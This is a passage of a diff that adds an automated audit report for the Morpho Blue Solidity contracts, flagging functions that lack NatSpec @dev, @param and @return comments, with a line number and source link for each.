+49: function positionSupplySharesSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+55: function positionBorrowSharesAndCollateralSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+62: function marketTotalSupplyAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+66: function marketTotalBorrowAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+70: function marketLastUpdateAndFeeSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+74: function isIrmEnabledSlot(address irm) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+78: function isLltvEnabledSlot(uint256 lltv) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+82: function isAuthorizedSlot(address authorizer, address authorizee) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+86: function nonceSlot(address authorizer) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+90: function idToLoanTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+94: function idToCollateralTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+98: function idToOracleSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+102: function idToIrmSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @dev
+106: function idToLltvSlot(Id id) internal pure returns (bytes32) {
+
+```
+
+[41](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L41), [45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L45), [49](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L49), [55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L55), [62](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L62), [66](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L66), [70](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L70), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L74), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L78), [82](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L82), [86](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L86), [90](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L90), [94](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L94), [98](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L98), [102](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L102), [106](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L106)
+
+
+
+
+### Function declaration should include NatSpec `@param` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (91)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit missed @param (newOwner)
+95: function setOwner(address newOwner) external onlyOwner {
+
+/// @audit missed @param (irm)
+104: function enableIrm(address irm) external onlyOwner {
+
+/// @audit missed @param (lltv)
+113: function enableLltv(uint256 lltv) external onlyOwner {
+
+/// @audit missed @param (marketParams, newFee)
+123: function setFee(MarketParams memory marketParams, uint256 newFee) external onlyOwner {
+
+/// @audit missed @param (newFeeRecipient)
+139: function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+
+/// @audit missed @param (marketParams)
+150: function createMarket(MarketParams memory marketParams) external {
+
+/// @audit missed @param (marketParams, assets, shares, onBehalf, data)
+166: function supply(
+
+/// @audit missed @param (marketParams, assets, shares, onBehalf, receiver)
+197: function withdraw(
+
+/// @audit missed @param (marketParams, assets, shares, onBehalf, receiver)
+232: function borrow(
+
+/// @audit missed @param (marketParams, assets, shares, onBehalf, data)
+266: function repay(
+
+/// @audit missed @param (marketParams, assets, onBehalf, data)
+300: function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+
+/// @audit missed @param (marketParams, assets, onBehalf, receiver)
+320: function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+
+/// @audit missed @param (marketParams, borrower, seizedAssets, repaidShares, data)
+344: function liquidate(
+
+/// @audit missed @param (token, assets, data)
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+
+/// @audit missed @param (authorized, newIsAuthorized)
+428: function setAuthorization(address authorized, bool newIsAuthorized) external {
+
+/// @audit missed @param (authorization, signature)
+435: function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+
+/// @audit missed @param (onBehalf)
+455: function _isSenderAuthorized(address onBehalf) internal view returns (bool) {
+
+/// @audit missed @param (marketParams)
+462: function accrueInterest(MarketParams memory marketParams) external {
+
+/// @audit missed @param (marketParams, id)
+471: function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+
+/// @audit missed @param (marketParams, id, borrower)
+501: function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+
+/// @audit missed @param (marketParams, id, borrower, collateralPrice)
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+
+/// @audit missed @param (slots)
+530: function extSloads(bytes32[] calldata slots) external view returns (bytes32[] memory res) {
+
+```
+
+[95](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95), [104](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L104), [113](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L113), [123](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L123), [139](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139), [150](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150), [166](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166), [197](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197), [232](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232), [266](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266), [300](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300), [320](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320), [344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344), [415](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415), [428](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L428), [435](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L435), [455](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L455), [462](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L462), [471](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471), [501](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501), [513](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513), [530](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L530)
+
+```solidity
+File: src/interfaces/IIrm.sol
+
+/// @audit missed @param (marketParams, market)
+13: function borrowRate(MarketParams memory marketParams, Market memory market) external returns (uint256);
+
+/// @audit missed @param (marketParams, market)
+17: function borrowRateView(MarketParams memory marketParams, Market memory market) external view returns (uint256);
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L13), [17](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L17)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+/// @audit missed @param (irm)
+68: function isIrmEnabled(address irm) external view returns (bool);
+
+/// @audit missed @param (lltv)
+71: function isLltvEnabled(uint256 lltv) external view returns (bool);
+
+/// @audit missed @param (authorizer, authorized)
+75: function isAuthorized(address authorizer, address authorized) external view returns (bool);
+
+/// @audit missed @param (authorizer)
+78: function nonce(address authorizer) external view returns (uint256);
+
+/// @audit missed @param (newOwner)
+83: function setOwner(address newOwner) external;
+
+/// @audit missed @param (irm)
+87: function enableIrm(address irm) external;
+
+/// @audit missed @param (lltv)
+91: function enableLltv(uint256 lltv) external;
+
+/// @audit missed @param (marketParams, newFee)
+95: function setFee(MarketParams memory marketParams, uint256 newFee) external;
+
+/// @audit missed @param (newFeeRecipient)
+101: function setFeeRecipient(address newFeeRecipient) external;
+
+/// @audit missed @param (marketParams)
+128: function createMarket(MarketParams memory marketParams) external;
+
+/// @audit missed @param (marketParams)
+286: function accrueInterest(MarketParams memory marketParams) external;
+
+/// @audit missed @param (slots)
+289: function extSloads(bytes32[] memory slots) external view returns (bytes32[] memory);
+
+/// @audit missed @param (id, user)
+298: function position(Id id, address user)
+
+/// @audit missed @param (id)
+308: function market(Id id)
+
+/// @audit missed @param (id)
+323: function idToMarketParams(Id id)
+
+/// @audit missed @param (id, user)
+337: function position(Id id, address user) external view returns (Position memory p);
+
+/// @audit missed @param (id)
+344: function market(Id id) external view returns (Market memory m);
+
+/// @audit missed @param (id)
+349: function idToMarketParams(Id id) external view returns (MarketParams memory);
+
+```
+
+[68](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L68), [71](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L71), [75](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L75), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L78), [83](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L83), [87](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L87), [91](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L91), [95](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L95), [101](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L101), [128](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L128), [286](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L286), [289](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L289), [298](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L298), [308](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L308), [323](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L323), [337](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L337), [344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L344), [349](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L349)
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+/// @audit missed @param (marketParams)
+16: function id(MarketParams memory marketParams) internal pure returns (Id marketParamsId) {
+
+```
+
+[16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L16)
+
+```solidity
+File: src/libraries/MathLib.sol
+
+/// @audit missed @param (x, y)
+12: function wMulDown(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @param (x, y)
+17: function wDivDown(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @param (x, y)
+22: function wDivUp(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @param (x, y, d)
+27: function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+
+/// @audit missed @param (x, y, d)
+32: function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+
+/// @audit missed @param (x, n)
+38: function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+
+```
+
+[12](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L12), [17](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L17), [22](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L22), [27](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L27), [32](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L32), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L38)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @param (to, value)
+9: function transfer(address to, uint256 value) external returns (bool);
+
+/// @audit missed @param (from, to, value)
+10: function transferFrom(address from, address to, uint256 value) external returns (bool);
+
+/// @audit missed @param (token, to, value)
+21: function safeTransfer(IERC20 token, address to, uint256 value) internal {
+
+/// @audit missed @param (token, from, to, value)
+29: function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
+
+```
+
+[9](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9), [10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L10), [21](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L21), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L29)
+
+```solidity
+File: src/libraries/SharesMathLib.sol
+
+/// @audit missed @param (assets, totalAssets, totalShares)
+24: function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @param (shares, totalAssets, totalShares)
+29: function toAssetsDown(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @param (assets, totalAssets, totalShares)
+34: function toSharesUp(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @param (shares, totalAssets, totalShares)
+39: function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+```
+
+[24](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L29), [34](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L34), [39](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L39)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+/// @audit missed @param (x, y)
+13: function exactlyOneZero(uint256 x, uint256 y) internal pure returns (bool z) {
+
+/// @audit missed @param (x, y)
+20: function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+/// @audit missed @param (x)
+27: function toUint128(uint256 x) internal pure returns (uint128) {
+
+/// @audit missed @param (x, y)
+33: function zeroFloorSub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L13), [20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L20), [27](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L27), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L33)
+
+```solidity
+File: src/libraries/periphery/MorphoBalancesLib.sol
+
+/// @audit missed @param (morpho, marketParams)
+33: function expectedMarketBalances(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @param (morpho, marketParams)
+65: function expectedTotalSupplyAssets(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @param (morpho, marketParams)
+74: function expectedTotalBorrowAssets(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @param (morpho, marketParams)
+83: function expectedTotalSupplyShares(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @param (morpho, marketParams, user)
+95: function expectedSupplyAssets(IMorpho morpho, MarketParams memory marketParams, address user)
+
+/// @audit missed @param (morpho, marketParams, user)
+110: function expectedBorrowAssets(IMorpho morpho, MarketParams memory marketParams, address user)
+
+```
+
+[33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L33), [65](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L65), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L74), [83](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L83), [95](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L95), [110](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L110)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+/// @audit missed @param (morpho, id, user)
+13: function supplyShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id, user)
+18: function borrowShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id, user)
+23: function collateral(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id)
+28: function totalSupplyAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id)
+33: function totalSupplyShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id)
+38: function totalBorrowAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id)
+43: function totalBorrowShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id)
+48: function lastUpdate(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @param (morpho, id)
+53: function fee(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @param (x)
+58: function _array(bytes32 x) private pure returns (bytes32[] memory) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L13), [18](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L18), [23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L23), [28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L28), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L33), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L38), [43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L43), [48](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L48), [53](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L53), [58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L58)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+/// @audit missed @param (id, user)
+49: function positionSupplySharesSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @param (id, user)
+55: function positionBorrowSharesAndCollateralSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+62: function marketTotalSupplyAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+66: function marketTotalBorrowAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+70: function marketLastUpdateAndFeeSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @param (irm)
+74: function isIrmEnabledSlot(address irm) internal pure returns (bytes32) {
+
+/// @audit missed @param (lltv)
+78: function isLltvEnabledSlot(uint256 lltv) internal pure returns (bytes32) {
+
+/// @audit missed @param (authorizer, authorizee)
+82: function isAuthorizedSlot(address authorizer, address authorizee) internal pure returns (bytes32) {
+
+/// @audit missed @param (authorizer)
+86: function nonceSlot(address authorizer) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+90: function idToLoanTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+94: function idToCollateralTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+98: function idToOracleSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+102: function idToIrmSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @param (id)
+106: function idToLltvSlot(Id id) internal pure returns (bytes32) {
+
+```
+
+[49](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L49), [55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L55), [62](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L62), [66](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L66), [70](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L70), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L74), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L78), [82](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L82), [86](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L86), [90](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L90), [94](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L94), [98](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L98), [102](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L102), [106](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L106)
+
+
+
+### Function declaration should include NatSpec `@return` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (74)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit missed @return
+166: function supply(
+
+/// @audit missed @return
+197: function withdraw(
+
+/// @audit missed @return
+232: function borrow(
+
+/// @audit missed @return
+266: function repay(
+
+/// @audit missed @return
+344: function liquidate(
+
+/// @audit missed @return
+455: function _isSenderAuthorized(address onBehalf) internal view returns (bool) {
+
+/// @audit missed @return
+501: function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+
+/// @audit missed @return
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+
+/// @audit missed @return (res)
+530: function extSloads(bytes32[] calldata slots) external view returns (bytes32[] memory res) {
+
+```
+
+[166](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166), [197](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197), [232](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232), [266](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266), [344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344), [455](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L455), [501](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501), [513](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513), [530](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L530)
+
+```solidity
+File: src/interfaces/IIrm.sol
+
+/// @audit missed @return
+13: function borrowRate(MarketParams memory marketParams, Market memory market) external returns (uint256);
+
+/// @audit missed @return
+17: function borrowRateView(MarketParams memory marketParams, Market memory market) external view returns (uint256);
+
+```
+
